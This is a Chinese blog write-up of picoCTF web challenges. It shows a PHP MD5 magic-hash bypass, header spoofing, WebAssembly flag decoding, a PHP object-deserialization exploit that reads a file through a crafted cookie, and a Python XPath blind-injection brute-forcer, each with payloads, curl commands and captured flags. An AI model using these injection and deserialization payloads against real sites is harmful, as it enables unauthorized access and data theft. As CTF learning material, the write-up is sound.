比起晴空万里,我更需要你

It is my Birthday

描述:I sent out 2 invitations to all of my friends for my birthday! I’ll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn’t believe how long it took me to find a collision. Anyway, see if you’re invited by submitting 2 PDFs to my website.

Hints:

    1. Look at the category of this problem.
    2. How may a PHP site check the rules in the description?

网站打开也是可以看到
image-20210808190627805

上传功能,而且根据题目描述,需要上传的是两个PDF文件,且他们的md5哈希值要相同。这个一开始看很懵,怎么控制文件的md5值相同。

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

┌──(root💀m0re)-[~/桌面/CTF]
└─# echo -n "s878926199a" > ctf1.pdf
                                                                                                                                      
┌──(root💀m0re)-[~/桌面/CTF]
└─# echo -n "s1665632922a" > ctf2.pdf
                                                                                                                                      
┌──(root💀m0re)-[~/桌面/CTF]
└─# md5sum ctf1.pdf ctf2.pdf 
0e545993274517709034328855841020  ctf1.pdf
0e731198061491163073197128363787  ctf2.pdf

所以上传这两个文件即可,保证他们的md5值均为0,即可绕过PHP中的弱类型的md5绕过。符合第二个hint
拿到了源码

<?php

if (isset($_POST["submit"])) {
    $type1 = $_FILES["file1"]["type"];
    $type2 = $_FILES["file2"]["type"];
    $size1 = $_FILES["file1"]["size"];
    $size2 = $_FILES["file2"]["size"];
    $SIZE_LIMIT = 18 * 1024;

    if (($size1 < $SIZE_LIMIT) && ($size2 < $SIZE_LIMIT)) {
        if (($type1 == "application/pdf") && ($type2 == "application/pdf")) {
            $contents1 = file_get_contents($_FILES["file1"]["tmp_name"]);
            $contents2 = file_get_contents($_FILES["file2"]["tmp_name"]);

            if ($contents1 != $contents2) {
                if (md5_file($_FILES["file1"]["tmp_name"]) == md5_file($_FILES["file2"]["tmp_name"])) {
                    highlight_file("index.php");
                    die();
                } else {
                    echo "MD5 hashes do not match!";
                    die();
                }
            } else {
                echo "Files are not different!";
                die();
            }
        } else {
            echo "Not a PDF!";
            die();
        }
    } else {
        echo "File too large!";
        die();
    }
}

// FLAG: picoCTF{c0ngr4ts_u_r_1nv1t3d_aad886b9}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <title>It is my Birthday</title>


    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" rel="stylesheet">

    <link href="https://getbootstrap.com/docs/3.3/examples/jumbotron-narrow/jumbotron-narrow.css" rel="stylesheet">

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>


</head>

<body>

    <div class="container">
        <div class="header">
            <h3 class="text-muted">It is my Birthday</h3>
        </div>
        <div class="jumbotron">
            <p class="lead"></p>
            <div class="row">
                <div class="col-xs-12 col-sm-12 col-md-12">
                    <h3>See if you are invited to my party!</h3>
                </div>
            </div>
            <br/>
            <div class="upload-form">
                <form role="form" action="/index.php" method="post" enctype="multipart/form-data">
                <div class="row">
                    <div class="form-group">
                        <input type="file" name="file1" id="file1" class="form-control input-lg">
                        <input type="file" name="file2" id="file2" class="form-control input-lg">
                    </div>
                </div>
                <div class="row">
                    <div class="col-xs-12 col-sm-12 col-md-12">
                        <input type="submit" class="btn btn-lg btn-success btn-block" name="submit" value="Upload">
                    </div>
                </div>
                </form>
            </div>
        </div>
    </div>
    <footer class="footer">
        <p>&copy; PicoCTF</p>
    </footer>

</div>

<script>
$(document).ready(function(){
    $(".close").click(function(){
        $("myAlert").alert("close");
    });
});
</script>
</body>

</html>

大佬的做法是

┌──(root💀m0re)-[~/桌面/CTF]
└─# curl -F 'file1=@ctf1.pdf' -F 'file2=@ctf2.pdf' -F 'submit=Upload' http://mercury.picoctf.net:55343/ -s | egrep -o "picoCTF{[^}]+}"
picoCTF{c0ngr4ts_u_r_1nv1t3d_aad886b9}

Who are you?

假猪套,不细说。
脚本:

import requests
url = "http://mercury.picoctf.net:46199/"

headers = {
    "Host": "mercury.picoctf.net:46199",
    "User-Agent": "PicoBrowser",
    "Accept-Language": "sv-sv",
    "X-Forwarded-For": "31.15.32.0",
    "DNT": "1",
    "Referer": "http://mercury.picoctf.net:46199",
    "Date": "2018",
}
r = requests.get(url, headers=headers)
# print(r.text)
print(r.text.split("<b>")[1].split("</b>")[0])

POC:

GET / HTTP/1.1
Host: mercury.picoctf.net:46199
User-Agent: PicoBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: sv-sv
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://mercury.picoctf.net:46199
Date: 2018
X-Forwarded-For:193.150.233.115
Content-Length: 4

exp:

┌──(root💀m0re)-[~/桌面/CTF]
└─# curl --user-agent "picobrowser" "http://mercury.picoctf.net:46199/" --referer "http://mercury.picoctf.net:46199/" -H "Date: 2018" -H "DNT: 1" -H "X-Forwarded-For: 193.150.233.115" -H "Accept-Language: sv" -s | grep h3
                                <h3 style="color:green">What can I say except, you are welcome</h3>
                        <b>picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_8d5d8d77}</b>

Some Assembly Required 2

与Some Assembly Required 1类似,但是又有改进处。
这里开始使用了wasm2wat,但是没有像上一题那样得到flag。所以这次使用了wasm-decompile

./wasm-decompile script.wasm -o script.dcmp 

结果如下:

export memory memory(initial: 2, max: 0);

global g_a:int = 66864;
export global input:int = 1072;
export global dso_handle:int = 1024;
export global data_end:int = 1328;
export global global_base:int = 1024;
export global heap_base:int = 66864;
export global memory_base:int = 0;
export global table_base:int = 1;

table T_a:funcref(min: 1, max: 1);

data d_xakgKNs989l1im8i890088k09nj9(offset: 1024) = 
"xakgK\Ns9=8:9l1?im8i<89?00>88k09=nj9kimnu\00\00";

export function wasm_call_ctors() {
}

export function strcmp(a:int, b:int):int {
  var c:int = g_a;
  var d:int = 32;
  var e:int = c - d;
  e[6]:int = a;
  e[5]:int = b;
  var f:int = e[6]:int;
  e[4]:int = f;
  var g:int = e[5]:int;
  e[3]:int = g;
  loop L_b {
    var h:ubyte_ptr = e[4]:int;
    var i:int = 1;
    var j:int = h + i;
    e[4]:int = j;
    var k:int = h[0];
    e[11]:byte = k;
    var l:ubyte_ptr = e[3]:int;
    var m:int = 1;
    var n:int = l + m;
    e[3]:int = n;
    var o:int = l[0];
    e[10]:byte = o;
    var p:int = e[11]:ubyte;
    var q:int = 255;
    var r:int = p & q;
    if (r) goto B_c;
    var s:int = e[11]:ubyte;
    var t:int = 255;
    var u:int = s & t;
    var v:int = e[10]:ubyte;
    var w:int = 255;
    var x:int = v & w;
    var y:int = u - x;
    e[7]:int = y;
    goto B_a;
    label B_c:
    var z:int = e[11]:ubyte;
    var aa:int = 255;
    var ba:int = z & aa;
    var ca:int = e[10]:ubyte;
    var da:int = 255;
    var ea:int = ca & da;
    var fa:int = ba;
    var ga:int = ea;
    var ha:int = fa == ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (ja) continue L_b;
  }
  var ka:int = e[11]:ubyte;
  var la:int = 255;
  var ma:int = ka & la;
  var na:int = e[10]:ubyte;
  var oa:int = 255;
  var pa:int = na & oa;
  var qa:int = ma - pa;
  e[7]:int = qa;
  label B_a:
  var ra:int = e[7]:int;
  return ra;
}

export function check_flag():int {
  var a:int = 0;
  var b:int = 1072;
  var c:int = 1024;
  var d:int = strcmp(c, b);
  var e:int = d;
  var f:int = a;
  var g:int = e != f;
  var h:int = -1;
  var i:int = g ^ h;
  var j:int = 1;
  var k:int = i & j;
  return k;
}

function copy(a:int, b:int) {
  var c:int = g_a;
  var d:int = 16;
  var e:int_ptr = c - d;
  e[3] = a;
  e[2] = b;
  var f:int = e[3];
  if (eqz(f)) goto B_a;
  var g:int = e[3];
  var h:int = 8;
  var i:int = g ^ h;
  e[3] = i;
  label B_a:
  var j:int = e[3];
  var k:byte_ptr = e[2];
  k[1072] = j;
}

check_flag与上一题很是类似,几乎一样,所以这里判断flag所在是在最后一个操作中,也就是copy

function copy(a:int, b:int) {
  var c:int = g_a;
  var d:int = 16;
  var e:int_ptr = c - d;
  e[3] = a;
  e[2] = b;
  var f:int = e[3];
  if (eqz(f)) goto B_a;
  var g:int = e[3];
  var h:int = 8;
  var i:int = g ^ h;
  e[3] = i;
  label B_a:
  var j:int = e[3];
  var k:byte_ptr = e[2];
  k[1072] = j;
}

而且在check_flag中也有一个异或操作。

var i:int = g ^ h;
var j:int = 1;
var k:int = i & j;

明显是在对比这一段。

然后看的是这里

var b:int = 1072;
var c:int = 1024;
var d:int = strcmp(c, b);

1024,所以可以确定flag是与这里有关。

data d_xakgKNs989l1im8i890088k09nj9(offset: 1024) = 
"xakgK\Ns9=8:9l1?im8i<89?00>88k09=nj9kimnu\00\00";

结合copy中的异或操作。h=8

from pwn import *
print(xor("xakgK\\Ns9=8:9l1?im8i<89?00>88k09=nj9kimnu\00\00", 8))
#b'picoCTF{15021d97ae0a401788600c815fb1caef}\x08\x08'

Super Serial

很有学习价值的一道题目。现在来复现一遍。
打开robots.txt看到了什么?

User-agent: *
Disallow: /admin.phps

访问一下

┌──(root💀m0re)-[~/桌面/CTF]
└─# curl  http://mercury.picoctf.net:2148/admin.phps
Not Found

admin.phpadmin.phpsindex.php是不是也有index.phps

┌──(root💀m0re)-[~/桌面/CTF]
└─# curl  http://mercury.picoctf.net:2148/index.phps
<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
        $con = new SQLite3("../users.db");
        $username = $_POST["user"];
        $password = $_POST["pass"];
        $perm_res = new permissions($username, $password);
        if ($perm_res->is_guest() || $perm_res->is_admin()) {
                setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
                header("Location: authentication.php");
                die();
        } else {
                $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
        }
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
        <body>
                <div class="container">
                        <div class="row">
                                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                                        <div class="card card-signin my-5">
                                                <div class="card-body">
                                                        <h5 class="card-title text-center">Sign In</h5>
                                                        <?php if (isset($msg)) echo $msg; ?>
                                                        <form class="form-signin" action="index.php" method="post">
                                                                <div class="form-label-group">
                                                                        <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
                                                                        <label for="user">Username</label>
                                                                </div>

                                                                <div class="form-label-group">
                                                                        <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
                                                                        <label for="pass">Password</label>
                                                                </div>

                                                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
                                                        </form>
                                                </div>
                                        </div>
                                </div>
                        </div>
                </div>
        </body>
</html>

主要部分为PHP代码如下:

<?php
require_once("cookie.php");

if(isset($_POST["user"]) && isset($_POST["pass"])){
        $con = new SQLite3("../users.db");
        $username = $_POST["user"];
        $password = $_POST["pass"];
        $perm_res = new permissions($username, $password);
        if ($perm_res->is_guest() || $perm_res->is_admin()) {
                setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
                header("Location: authentication.php");
                die();
        } else {
                $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
        }
}
?>

get到一个cookie.php,当然,可以使用上面的方法,得到它的源码

<?php
session_start();

class permissions
{
        public $username;
        public $password;

        function __construct($u, $p) {
                $this->username = $u;
                $this->password = $p;
        }

        function __toString() {
                return $u.$p;
        }

        function is_guest() {
                $guest = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] != 1) {
                                $guest = true;
                        }
                }
                return $guest;
        }

        function is_admin() {
                $admin = false;

                $con = new SQLite3("../users.db");
                $username = $this->username;
                $password = $this->password;
                $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                $stm->bindValue(1, $username, SQLITE3_TEXT);
                $stm->bindValue(2, $password, SQLITE3_TEXT);
                $res = $stm->execute();
                $rest = $res->fetchArray();
                if($rest["username"]) {
                        if ($rest["admin"] == 1) {
                                $admin = true;
                        }
                }
                return $admin;
        }
}

if(isset($_COOKIE["login"])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
                $g = $perm->is_guest();
                $a = $perm->is_admin();
        }
        catch(Error $e){
                die("Deserialization error. ".$perm);
        }
}

?>

然后还有authentication.php,老办法

<?php

class access_log
{
        public $log_file;

        function __construct($lf) {
                $this->log_file = $lf;
        }

        function __toString() {
                return $this->read_log();
        }

        function append_to_log($data) {
                file_put_contents($this->log_file, $data, FILE_APPEND);
        }

        function read_log() {
                return file_get_contents($this->log_file);
        }
}

require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
        $msg = "Welcome admin";
        $log = new access_log("access.log");
        $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
        $msg = "Welcome guest";
}
?>

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
        <body>
                <div class="container">
                        <div class="row">
                                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                                        <div class="card card-signin my-5">
                                                <div class="card-body">
                                                        <h5 class="card-title text-center"><?php echo $msg; ?></h5>
                                                        <form action="index.php" method="get">
                                                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
                                                        </form>
                                                </div>
                                        </div>
                                </div>
                        </div>
                </div>
        </body>
</html>

看到了反序列化。梳理一下代码逻辑

//首先是这里读取文件,结合hint:The flag is at ../flag。所以这里是最后的getflag的地方,要想办法执行到这里。
function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
}

function read_log() {
        return file_get_contents($this->log_file);
}
//然后需要执行到authentication.php,就需要这里
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
    setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
    header("Location: authentication.php");
    die();
//perm_res实例化一个对象,该类在cookie.php中。
if(isset($_COOKIE["login"])){
        try{
                $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
                $g = $perm->is_guest();
                $a = $perm->is_admin();
        }
        catch(Error $e){
                die("Deserialization error. ".$perm);
        }
}
//执行过
//执行到这里,才算是完全将整个逻辑梳理下来
//perm_res——>cookie::login——>authentication.php::read_log()——>捕获Error

POC构造

<?php
class access_log
{
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}

$perm_res = new access_log("../flag");
$perm_res_encoded =  urlencode(base64_encode(serialize($perm_res)));
echo $perm_res_encoded;
echo "\n";
?>
//TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

exp

┌──(root💀m0re)-[~/桌面/CTF]
└─# curl http://mercury.picoctf.net:2148/authentication.php -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9;"
Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_8db8f85c}

X marks the spot

XPATH注入
学习参考XPATH Injection
盲注字符串长度

and string-length(account)=SIZE_INT

逐个猜测每一个字母

substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

尝试注入

' or string-length(//user[position()=1]/pass)>1 or 'a'='

这个是测试flag的长度是否大于1,如果是应该返回正确的。
image-20210808224822301

由此,写出脚本

from pwn import *
import requests
import string
import urllib

user_id = 3
password = ""

with log.progress('Brute-forcing password') as p:
    index = 1
    while not password.endswith("}"):
        for c in string.ascii_letters + "{}_"  + string.digits:
            p.status(f"Index: {index}, known password: '{password}', trying: '{c}'")
            r = requests.post("http://mercury.picoctf.net:16521/", data = {"name": f"' or substring(//user[position()={user_id}]/pass,{index},1)='{c}' or 'a'='", "pass": "test"})
            if "right" in r.text:
                password += c
                break
        else:
            print(f"Can't find character for index {index}!")
            break

        index += 1
        
print(f"Password: {password}")
#output
#[+] Brute-forcing password: Done
#Password: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_f0505d9c}

end

发现这些题目都很有意思,能学到很多内容,确实比起国内的层层套娃的题目质量好很多。